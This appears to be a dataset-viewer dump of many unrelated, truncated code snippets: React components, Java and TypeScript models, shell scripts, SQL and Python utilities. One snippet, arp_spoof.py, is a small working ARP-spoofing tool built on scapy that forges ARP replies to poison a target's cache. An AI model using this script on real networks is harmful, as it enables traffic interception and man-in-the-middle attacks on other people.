text stringlengths 1 1.05M |
|---|
import React, { Component } from 'react'
import { connect } from 'react-redux'
import { Switch, Route, withRouter } from 'react-router-dom'
import Navbar from '../../component/navbar/Navbar'
import ExpenseGroupDetailPage from '../expense-group-detail-page/ExpenseGroupDetailPage'
import ExpenseGroupAddPage from '../expe... |
package com.mc.user.mapper;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.mc.common.model.SysUser;
import com.mc.db.mapper.SuperMapper;
import org.apache.ibatis.annotations.Param;
import java.util.List;
import java.util.Map;
/**
* [SysUserMapper 用户表 Mapper 接口]
*
* @author likai
* ... |
<filename>src/models/Tag.ts
import mongoose from "mongoose";
export type TagModel = mongoose.Document & {
name: string;
};
const tagSchema = new mongoose.Schema({
name: String
});
const Tag = mongoose.model("Tag", tagSchema);
export default Tag;
|
#!/usr/bin/env bash
#
# dowork.sh - Docker WeChat Work for Linux
#
# Author: Huan (李卓桓) <zixia@zixia.net>
# Copyright (c) 2020-now
#
# License: Apache-2.0
# GitHub: https://github.com/huan/docker-wxwork
#
set -eo pipefail
function hello () {
cat <<'EOF'
____ __ __ _
| _ \ _... |
# arp_spoof.py
import sys
from scapy.all import ARP, send
def arp_spoof(target_ip, new_ip):
arp = ARP(op=2, pdst=target_ip, psrc=new_ip, hwdst="ff:ff:ff:ff:ff:ff")
send(arp, verbose=0)
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python arp_spoof.py [TARGET IP] [NEW IP]")
... |
<filename>src/components/sideMenu/sideMenu.js
const EventHandler = require('../eventHandler/eventHandler');
const MenuList = require('./menuBar/menuList');
const Resizer = require('./resizer');
const Menus = require('./menus');
module.exports = class SideMenu {
constructor() {
this.isOpen = false;
this.currentM... |
<gh_stars>1-10
import unittest
from _8a_scraper.users import get_user_info, get_recommended_ascents, get_user_ascents
class TestUsers(unittest.TestCase):
def test_get_user_info(self):
user = '<NAME>'
user_info = get_user_info(user)
self.assertEqual(user_info['location'], 'Brno, Czech Republ... |
<reponame>broeker/jumpsuit-build
import React from 'react'
import { Link } from 'gatsby'
import { withStyles } from '@material-ui/core/styles';
import Card from '@material-ui/core/Card';
import CardActionArea from '@material-ui/core/CardActionArea';
import CardContent from '@material-ui/core/CardContent';
import Typogr... |
-- phpMyAdmin SQL Dump
-- version 5.1.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Dec 27, 2021 at 02:26 PM
-- Server version: 10.4.22-MariaDB
-- PHP Version: 7.3.33
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIE... |
<gh_stars>0
export default interface ICreateGameDTO {
name: string;
description: string;
image: File | string;
}
|
(defn avg
"calculate the average of a list"
[list]
(/
(reduce + 0 list)
(count list))) |
#!/bin/bash
#===============================================================================
#
# FILE: Backup-Home.sh
#
# USAGE: ./Backup-Home.sh
#
# DESCRIPTION: Backups home directory to Backups.
#
# OPTIONS: None
# REQUIREMENTS: None
# BUGS: None
# NOTES:
# ... |
#!/bin/bash
[[ -z "$1" ]] && echo "Usage: $0 http://fqdn.tld/uri/to/test/with/get" && exit 1
curl=`type curl | awk '{print $3}'`
[[ ! -x $curl ]] && echo "Curl could not be found; aborting." && exit 1
$curl -L -o /dev/null -v -s -H 'Pragma: akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akam... |
#!/bin/sh
cat << EOF > /app/backend/appdata/default.json
{
"YoutubeDLMaterial": {
"Host": {
"url": "http://example.com",
"port": ${PORT}
},
"Downloader": {
"path-audio": "audio/",
"path-video": "video/",
"default_file_output": "",
"use_youtubedl_archive": false,
"... |
/*
* Revolut for Business OpenAPI
* No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
*
* The version of the OpenAPI document: 1.0.0
*
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generato... |
SELECT *
FROM employees
WHERE name LIKE 'J%' and salary > 25000; |
<gh_stars>1-10
package grpcgraphql.animal;
import io.grpc.stub.StreamObserver;
import org.lognet.springboot.grpc.GRpcService;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.List;
@GRpcService
public class AnimalService extends AnimalServiceGrpc.AnimalServiceImplBase {
private static f... |
import tensorflow as tf
def modify_tensor(x: tf.Tensor, stride: int, si: int) -> tf.Tensor:
# Adjust negative starting index within stride
if si < 0:
si = x.shape[-1] + si
# Reshape the input tensor based on stride and starting index
reshaped_tensor = tf.reshape(x, (-1, stride, x.shape[-1] // ... |
import re
import collections
def words(text):
return re.findall('[a-z]+', text.lower())
def train(features):
model = collections.defaultdict(lambda: 1)
for f in features:
model[f] += 1
return model
NWORDS = train(words(open('big.txt').read()))
def edits1(word):
s = [(word[:i], word[i:]... |
<gh_stars>10-100
# -*- coding: utf-8 -*-
import unittest.mock as mock
import testutils.cases as cases
import app.authentication.emails as emails
class TestAuthenticationEmails(cases.TestCase):
"""Test cases for outbound emailing capabilities related to authentication.
"""
@mock.patch('app.notifications.... |
export default class Action {
constructor(name) { this.name = name.toUpperCase() };
list = (list) => ({ type: `LIST_${this.name}`, list });
relations = relationsData => ({ type: `RELATIONS_${this.name}`, relationsData });
deleteObj = (deleteId) => ({ type: `DELETE_${this.name}`, deleteId });
} |
/**
* @license
* Copyright 2016 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless requir... |
<reponame>raulrozza/Gametask_Web
import { useFormikContext } from 'formik';
import React, { useCallback } from 'react';
import { FaPlus } from 'react-icons/fa';
import IRank from 'shared/domain/entities/IRank';
import { Container } from './styles';
interface AddItemButtonProps {
handlePush(rank: IRank): void;
}
in... |
# Create the input shape
input_shape = (224, 224, 3)
# Create model
model = Sequential()
model.add(Conv2D(32, kernel_size=(3, 3),
activation='relu',
input_shape=input_shape))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dro... |
<filename>api/src/main/java/io/mifos/identity/api/v1/domain/Permission.java
/*
* Copyright 2017 The Mifos Initiative.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.... |
<reponame>cxq257990/sweet81
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version ... |
<filename>surfPow/nadir.py
from osgeo import gdal, osr
from gdalconst import *
import numpy as np
import sys
'''
set of functions and classes for finding nadir location of SHARAD radargrams.
authors: <NAME> & <NAME>
created: 30January2018
updated: 05APR19
'''
class Dem:
# Holds an array of DEM data and relevant meta... |
<filename>client/src/components/startup/registration/TermsScreen.js
// @flow
import React from 'react';
import { Alert, AsyncStorage, Button, Dimensions, StyleSheet, Text, View } from 'react-native';
import { ButtonBox } from '../../design/ButtonBox';
import { GS } from '../../style';
import { D, i18n } from '../../.... |
#!/bin/bash
function set() {
eval $1='${2:-${!1}}'
escaped=$(sed 's/[\/\&]/\\&/g' <<< "${!1}")
sed -i "s/\(^$1=\).*/\1\"$escaped\"/" $0
}
set_multiple_files() {
if [[ ${multiple_files:-$archive_multiple} ]]; then
[[ $option == extract_archive ]] && local var=archive_multiple || var=multiple_files
[[ "${!var}"... |
#!/bin/bash
# This code is based off HP ProBook 4x30s Fix EDID by pokenguyen
GenEDID() {
/usr/libexec/PlistBuddy -c "Print :$1" /tmp/display.plist &>/dev/null || return 0
rm -f /tmp/EDID.bin
EDID=$(/usr/libexec/PlistBuddy -x -c "Print :$1" /tmp/display.plist |
tr -d '\n\t' | grep -o 'IODisplayEDI... |
import compression from 'compression';
import express from 'express';
import path from 'path';
export default () => {
return new Promise((resolve, reject) => {
let app = express();
app.use(compression());
// in npm run test:functional:dev mode we only watch and compile instantsearch.js
if (process.e... |
package org.opencb.opencga.catalog.managers;
import org.opencb.datastore.core.ObjectMap;
import org.opencb.datastore.core.QueryOptions;
import org.opencb.datastore.core.QueryResult;
import org.opencb.opencga.catalog.authentication.AuthenticationManager;
import org.opencb.opencga.catalog.exceptions.CatalogException;
im... |
def format_name(firstName, lastName, age):
return f'{lastName}, {firstName} is {age} years old.'
# Usage example
print(format_name('John', 'Doe', 35)) # Output: Doe, John is 35 years old. |
python transformers/examples/language-modeling/run_language_modeling.py --model_name_or_path train-outputs/512+0+512-N-VB-IP/model --tokenizer_name model-configs/1024-config --eval_data_file ../data/wikitext-103-raw/wiki.valid.raw --output_dir eval-outputs/512+0+512-N-VB-IP/512+0+512-N-VB-ADJ-ADV-1 --do_eval --per_devi... |
/**
* @param {number[][]} people
* @return {number[][]}
*/
var reconstructQueue = function(people) {
people.sort((a, b) => {
if (a[0] == b[0]) {
return a[1] - b[1];
} else {
return b[0] - a[0];
}
});
const res = [];
for (const person of people) {
... |
import android.app.Activity;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.widget.TextView;
public class MainActivity extends AppCompatActivity {
TextView textView;
SQL... |
<filename>Java/ExerciciosExtras/exercicios/pilaresoo/Pelo.java<gh_stars>1-10
package ExerciciosExtras.exercicios.pilaresoo;
public enum Pelo {
CURTO, MEDIO, LONGO
} |
def pattern_match(str, substr):
i = 0
j = 0
while (i < len(str) and j < len(substr)):
if (str[i] == substr[j]):
i += 1
j += 1
else:
i = i - j + 1
j = 0
if (j == len(substr)):
return True
return False
# Example
str = "GeeksforGeeks"
substr = "Geeks"
if (pattern_match(str, s... |
package traversal
import (
"testing"
"github.com/KeisukeYamashita/go-vcl/internal/lexer"
"github.com/KeisukeYamashita/go-vcl/internal/parser"
)
func TestContents(t *testing.T) {
testCases := []struct {
input string
expectedAttrCount int
expectedBlockCount int
}{
{
`x = 10`,
1,
0,
... |
#!/usr/bin/env bash
set -o errexit
set -o nounset
set -o pipefail
REPO=github.com/gugahoi/memento
HEADER_FILE="${GOPATH}/src/${REPO}/hack/boilerplate.go.txt"
pushd ${GOPATH}/src/k8s.io/code-generator
echo "--- Generating Internal Groups"
./generate-internal-groups.sh \
all \
${REPO}/pkg/client \
${REPO}... |
class Car:
def __init__(self, make, model, color, year):
self.make = make
self.model = model
self.color = color
self.year = year
def getMake(self):
return self.make
def getModel(self):
return self.model
def getColor(self):
return self.color
def getYear(self):
return self.... |
<reponame>MorganEJLA/portfolio-dev<filename>js/index.js
const navToggle = document.querySelector('.nav-toggle');
const navLinks = document.querySelectorAll('.nav__link')
navToggle.addEventListener('click', () => {
document.body.classList.toggle('nav-open');
});
navLinks.forEach(link => {
link.addEventListener... |
#
# created by vincentqin 2021.1.16
# export match pairs using DIR which can be used in SFM feature matching.
#
# setting paths
export DIR_ROOT=$PWD
export DB_ROOT=/PATH/TO/YOUR/DATASETS
workspace_path=$PWD
dataset_name="scene1"
input_datasets='ImageList("outputs/scene1.txt")'
images_path=$DB_ROOT
topN=50
######... |
/* http://keith-wood.name/timeEntry.html
Vietnamese template for the jQuery time entry extension
Written by <NAME> (<EMAIL>). */
(function($) {
$.timeEntry.regional['vi'] = {show24Hours: false, separator: ':',
ampmPrefix: '', ampmNames: ['AM', 'PM'],
spinnerTexts: ['Hiện tại', 'Mục trước', 'Mục sau', ... |
<gh_stars>0
import { BadRequestException, HttpException, HttpStatus } from '@nestjs/common';
export class BadRequest extends BadRequestException {
constructor(message: string) {
super(message);
}
}
|
package io.github.jlprat.akka.http.workshop.rejectionException
import akka.http.scaladsl.model.StatusCodes
import akka.http.scaladsl.testkit.ScalatestRouteTest
import org.scalatest.{FlatSpec, Matchers}
/**
* Created by @jlprat on 20/04/2017.
*/
class RejectionsExceptionsExampleSpec extends FlatSpec with Scalatest... |
// begin-snippet: piped_arguments_options_notify
$ users.exe list -i | users.exe Welcome c3 --notify $*
welcome Cris
notify: a1 Avery (active)
notify: b1 Beatrix (active)
// end-snippet |
<filename>examples/filters/indices.js
module.exports = {
type: 'index',
/**
* Any indicies that trigger this predicate will be excluded from transfer
* @param index - Full index configuration
*/
predicate: (index) => index.name !== 'log_data_2016-12-01'
}; |
#!/bin/bash -e
rm -rf dist/types
mkdir dist/types
cd tools/tmp/modern
find . -name '*.d.ts' | cpio -pdm ../../../dist/types/
|
package at.doml.fnc.lab1
import at.doml.fnc.lab1.domain.{Domain, DomainElement}
import at.doml.fnc.lab1.relations.Relations
import at.doml.fnc.lab1.set.MutableFuzzySet
object Task4 extends App {
val u = Domain.intRange(1, 6)
val u2 = Domain.combine(u, u)
val r1 = new MutableFuzzySet(u2)
.set(Doma... |
#!/bin/bash
DOCKER_CONTAINER=$([ ! -z "$1" ] && echo "$1" || echo "ucb-datalab-site")
echo "Site will run on localhost:4000"
docker run --rm -p 4000:4000 -v "$(pwd):/site" $DOCKER_CONTAINER:latest
|
#!/usr/bin/env bash
export SINGULARITY_IMAGE="${SINGULARITY_IMAGE:-singularity-r.simg}"
echo "Using Singularity image: ${SINGULARITY_IMAGE}"
version () {
singularity inspect "${SINGULARITY_IMAGE}" | \
grep "R_VERSION" | \
awk -F'"' '{print $4}'
}
set -e
set -x
# Verify R version
singularity exec R -q -e "... |
#!/bin/bash
echo grep -aE "$2" '"'"$1"'"'
lz4cat slim.topcode.1000.txt.lz4 | grep -aE $2 "$1"
|
#!/bin/bash
CURRENT_VERSION=$(cat package.json | jq -r .version)
if [[ "$GITHUB_TOKEN" == "" ]]; then
echo "Set GITHUB_TOKEN first"
exit 1
fi
echo v$CURRENT_VERSION
echo "pushing this release"
git tag v$CURRENT_VERSION
git push
git push --tags
echo "creating github release"
github-release release -u bernha... |
#!/bin/bash
# This file fill generate and output all authors whom have contributed to the project
# to the root dir AUTHORS file.
if [ ! -f AUTHORS ]; then
echo "AUTHORS file not found. Are you not in the root directory?"
else
echo -e "This AUTHORS file is generated by ./script/authors.sh\nThank you to everyone w... |
class $q
{
static get(url, data) {
return $q.request('GET', url, data);
}
static put(url, data) {
return $q.request('PUT', url, data);
}
static post(url, data) {
return $q.request('POST', url, data);
}
static patch(url, data) {
return $q.request('PATCH', ur... |
#actualizar repositorios
yum update -y
#!/bin/bash
#instalar paquetes
yum install httpd httpd-tools mariadb-server mariadb php php-fpm php-mysqlnd php-opcache php-gd php-xml php-mbstring php-json php-intl php-ldap
yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
yum update && yum ins... |
;(function() {
var kloudlessAppID = "iCZ_ICMy43H0NSoz0QbLvmyjzCHf2frAOPaBfWVgh9_vrFIM";
/*
* element: jQuery DOM element to bind the dropzone to. Requires an ID.
*/
var fs = window.FileSharer = function(element, successHandler) {
this.element = element;
this.successHandler = successHandler;
... |
<filename>archguard/src/pages/system/metrics/Dfms.tsx
import React, { useState } from "react";
import { Select, Row, Col, Button, Radio, Cascader, Form } from "antd";
import { useMount } from "react-use";
import Echarts, { ECharts } from "echarts";
import { getChartsOption } from "./chartsUtils";
import {
transformCo... |
<reponame>jrfaller/maracas
package main.unused.superclassRemoved;
public abstract class SuperclassRemovedAbs {
}
|
<reponame>AriusX7/godfather
import Faction from '@mafia/structures/Faction';
import type Player from '@mafia/structures/Player';
export default class WitchFaction extends Faction {
public name = 'Witch';
public independent = true;
public winCondition = 'game/factions:witchWinCondition';
public hasWonIndependent... |
# Copyright 2017 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... |
import {
Body,
Controller,
Post,
UseGuards,
Request,
Get,
} from '@nestjs/common';
import { AuthGuard } from '@nestjs/passport';
import {
ApiBody,
ApiConflictResponse,
ApiCreatedResponse,
ApiOkResponse,
ApiOperation,
ApiParam,
ApiResponse,
ApiTags,
} from '@nestjs/swagger';
import { DoesUser... |
<reponame>gyy8426/TF_concaption<gh_stars>0
import argparse, os, pdb, sys, time
import numpy as np
import copy
import glob
import subprocess
from multiprocessing import Process, Queue, Manager
from collections import OrderedDict
import data_engine
from cocoeval import COCOScorer
import utils
MAXLEN = 50
... |
<reponame>nuxt/blueprints<gh_stars>10-100
export default {
modules: ['@nuxt/press']
}
|
package azuread
import (
"os"
"strings"
)
// This file contains feature flags for functionality which will prove more challenging to implement en-mass
var requireResourcesToBeImported = strings.EqualFold(os.Getenv("ARM_PROVIDER_STRICT"), "true")
|
if [ ! -d /usr/local/app/tars/app_log ]; then
mkdir -p /data/log/tars
mkdir -p /usr/local/app/tars
mkdir -p /data/tars/app_log
ln -s /data/tars/app_log /usr/local/app/tars/app_log
fi
if [ ! -d /usr/local/app/tars/remote_app_log ]; then
mkdir -p /data/tars/remote_app_log
ln -s /data/tars/remote... |
<filename>stream-chat-javascript/node_modules/ripple-lib/dist/npm/transaction/payment.js
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; }... |
<filename>software/database/src/test/java/brooklyn/entity/database/postgresql/PostgreSqlChefTest.java
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership... |
#!/bin/sh
# Annotate the plaintext documents
ODINSON_DATA_HOME="$(pwd)/data/odinson"
docker run \
--name="odinson-extras" \
-it \
--rm \
-e "HOME=/app" \
-e "JAVA_OPTS=-Dodinson.extra.processorType=CluProcessor" \
-v "$ODINSON_DATA_HOME:/app/data/odinson" \
--entrypoint "bin/annotate-text" \
"lumai/odi... |
#!/bin/bash
# chmod +x matplotlib_ja.sh
# sh ./matplotlib_ja.sh
# Download Japanese fonts and for matplotlib.
function logging() {
echo -e "\033[0;32m$1\033[0m"
}
FONT_PATH="https://ipafont.ipa.go.jp/IPAfont/IPAfont00303.zip"
TMP_NAME="font.zip"
FONT_DIR="IPAfont00303"
FONT_FILENAME="ipam.ttf"
FONT_NAME="IPAMincho... |
#!/bin/sh
TEST_HOME=/home/bingli/testhttp
count 50
while [ "$count" != 0 ]; do
java -jar test.jar com.bingli.performance.TestHttp http://localhost:8080/WebContainerTest/ /home/bingli/testhttp/error$count.log 1>/dev/null 2>&1 &
let count--
done |
<reponame>ComfortablyCoding/strapi-plugin-io
'use strict';
/**
* Retrieves all strapi rooms (roles).
*
*/
const getStrapiRooms = () =>
strapi.entityService.findMany('plugin::users-permissions.role', {
fields: ['name'],
populate: {
permissions: {
fields: ['action'],
},
},
});
module.exports = {
g... |
const gulp = require('gulp');
const gutil = require("gulp-util");
const babel = require('gulp-babel');
const webpack = require('webpack-stream');
const postcss = require('gulp-postcss');
const postcssApply = require('postcss-apply');
const postcssImport = require('p... |
#!/usr/bin/env bash
session_choices_format() {
local name="#{session_name}"
local windows="#{session_windows} windows"
local attached="#{?#{session_attached},#attached,}"
echo "[ $name: $windows $attached ]"
}
session_choices() {
local choices=$(tmux list-sessions -F "`session_choices_format`" 2>/dev/null)
echo... |
<filename>src/components/layout.js
/**
* Layout component that queries for data
* with Gatsby's useStaticQuery component
*
* See: https://www.gatsbyjs.org/docs/use-static-query/
*/
import React from 'react';
import PropTypes from 'prop-types';
import Helmet from 'react-helmet';
import { useStaticQuery, graphql } ... |
import { before } from 'mocha';
import { getArtblockInfo, getOpenseaInfo } from '../api_data';
var assert = require('assert');
const nock = require('nock');
process.env.NODE_ENV = 'test';
describe('ArtBlocks api_data', () => {
before(() => {
process.env.IS_PBAB = 'false';
process.env.PBAB_CONTRACT = '';
... |
package greedy;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.StringTokenizer;
/**
*
* @author exponential-e
* 백준 20117번: 호반우의 이상한 품질 계산법
*
* @see https://www.acmicpc.net/problem/20117
*
*/
public class Boj20117 {
public static void main(String[]... |
#!/bin/sh -e
scripts_home=/root/scripts/initial-setup.d
install -v -o 0 -g 0 -m 755 -p "files/9899-edit-cmdline.sh" "${ROOTFS_DIR}/${scripts_home}/"
|
start
external_tools
finish
|
<reponame>yannzido/new
import { ActionTree, GetterTree, Module, MutationTree } from 'vuex';
import { RootState } from '../types';
export interface KeysState {
expandedTokens: string[];
}
export const tokensState: KeysState = {
expandedTokens: [],
};
export const getters: GetterTree<KeysState, RootState> = {
t... |
<gh_stars>0
var EllaExchangeService = artifacts.require("./EllaExchangeService.sol");
module.exports = async (deployer) => {
await deployer.deploy(
EllaExchangeService,
"0x",
"0x",
true,
"0x",
"0x"
);
};
|
<reponame>andreapatri/cms_journal<filename>node_modules/@buffetjs/hooks/src/useIsMounted/index.js<gh_stars>0
import { useRef, useEffect } from 'react';
// Hook taken from https://github.com/hupe1980/react-is-mounted-hook
function useIsMounted() {
const ref = useRef(true);
useEffect(() => {
ref.current = true... |
#!/bin/bash
# build src
rm -rf out/src
mkdir -p out/src
./node_modules/.bin/babel --out-dir out/src src
# build test
rm -rf out/test/src
mkdir -p out/test/src
./node_modules/.bin/babel --out-dir out/test/src test/src
|
import React from 'react';
import { View, StyleSheet, TextInput } from 'react-native';
import { API } from './api';
export default class App extends React.Component {
state = {
query: '',
results: []
};
fetchData = async () => {
const response = await API.get(
`/search?q=${this.state.query}&api_key=${API_... |
<filename>client/src/components/Order/OrderDetail.js
import React from "react";
import "./Order";
class OrderDetail extends React.Component {
state = {
tax: 0,
total: 0,
};
componentDidMount = () => {
console.log(this.props.cart);
const order = this.props.cart.reduce(
(acc, item) => {
... |
#!/usr/bin/env bash
set -euo pipefail
make bundle
npx openapi-to-postmanv2 --pretty --spec dist/Lob-API-public-bundled.yml --output dist/Lob-API-postman.txt
|
<reponame>darwinbeing/deepdriving-tensorflow<gh_stars>1-10
from .wrapper import CDriveController |
import Input from './Input';
import './index.less';
export * from './Input';
export default Input;
|
<reponame>vany152/FilesHash
# /* **************************************************************************
# * *
# * (C) Copyright <NAME> 2011.
# * Distributed under the Boost Software License, Version 1.0. (See
# * accompanying f... |
<reponame>1Guardian/Opal-Browser<filename>gighmmpiobklfepjocnamgkkbiglidom/devtools.js
// This file is based on this similar ABP file:
// https://github.com/adblockplus/adblockpluschrome/blob/master/devtools.js
"use strict";
let panelWindow = null;
// Versions of Firefox before 54 do not support the devtools.pa... |
// Package homedir detects the user's home directory without the use of cgo, for use in cross-compilation environments.
// +build darwin dragonfly freebsd js,wasm linux nacl netbsd openbsd solaris
package homedir
const homeEnv = "HOME"
|
<filename>lib/assets/javascripts/builder/editor/layers/layer-content-views/analyses/analysis-form-models/filter-form-model.js<gh_stars>0
var _ = require('underscore');
var BaseAnalysisFormModel = require('./base-analysis-form-model');
var template = require('./filter-form.tpl');
var ColumnData = require('builder/editor... |
# coding=utf-8
from __future__ import unicode_literals
import cmu
import devnagri
REVERSE_CONSONENTS = {
'ब': 'బ',
'भ': 'భ',
'ह': 'హ',
'ङ': 'ఙ',
'ग': 'గ',
'घ': 'ఘ',
'द': 'ద',
'ध': 'ధ',
'ज': 'జ',
'झ': 'ఝ',
'ड': 'డ',
'ढ': 'ఢ',
'प': 'ప',
'फ': 'ఫ',
'र': 'ర',
... |
<filename>parsers/base_parser.rb
class BaseParser
attr_accessor :options
def initialize(file)
self.options = {}
file.map { |line| parse_line(line.strip) }
end
private
def method_missing(name, *args, &block)
method_name = name.to_s
if self.options.has_key?(method_name)
self.opt... |
<gh_stars>10-100
package util
import (
"fmt"
"io"
"os"
)
// UniqueNonEmptyElementsOf fetched from https://gist.github.com/johnwesonga/6301924
func UniqueNonEmptyElementsOf(s []string) []string {
unique := make(map[string]bool, len(s))
us := make([]string, len(unique))
for _, elem := range s {
if len(elem) != ... |
resolve(route: ActivatedRouteSnapshot, state: RouterStateSnapshot): Observable<User> {
const userId = route.paramMap.get('id');
return this.userDataService.getUserById(userId).pipe(
catchError(error => {
this.router.navigate(['/error']); // Redirect to error page if data fetching fails
return of(nul... |
const Greeting = ({ name }) => (
<div>
<h1>Hello {name}!</h1>
</div>
); |
import cv2
import numpy as np
def display_images_with_labels(imgs_file: str, lbls_file: str) -> None:
imgs = np.load(imgs_file)
lbls = np.load(lbls_file)
for i in range(imgs.shape[0]):
print(lbls[i])
cv2.imshow('img', imgs[i])
cv2.waitKey(0) # Wait for a key press to display the n... |
const BN = require('web3-utils').BN;
const {toWei} = require('web3-utils');
const {QualifyingGameSalePayoutWallet} = require('../src/constants');
const REVVSale = artifacts.require('REVVSale.sol');
const REVV = artifacts.require('REVV.sol');
const DeltaTimeInventory = artifacts.require('DeltaTimeInventory.sol');
modu... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.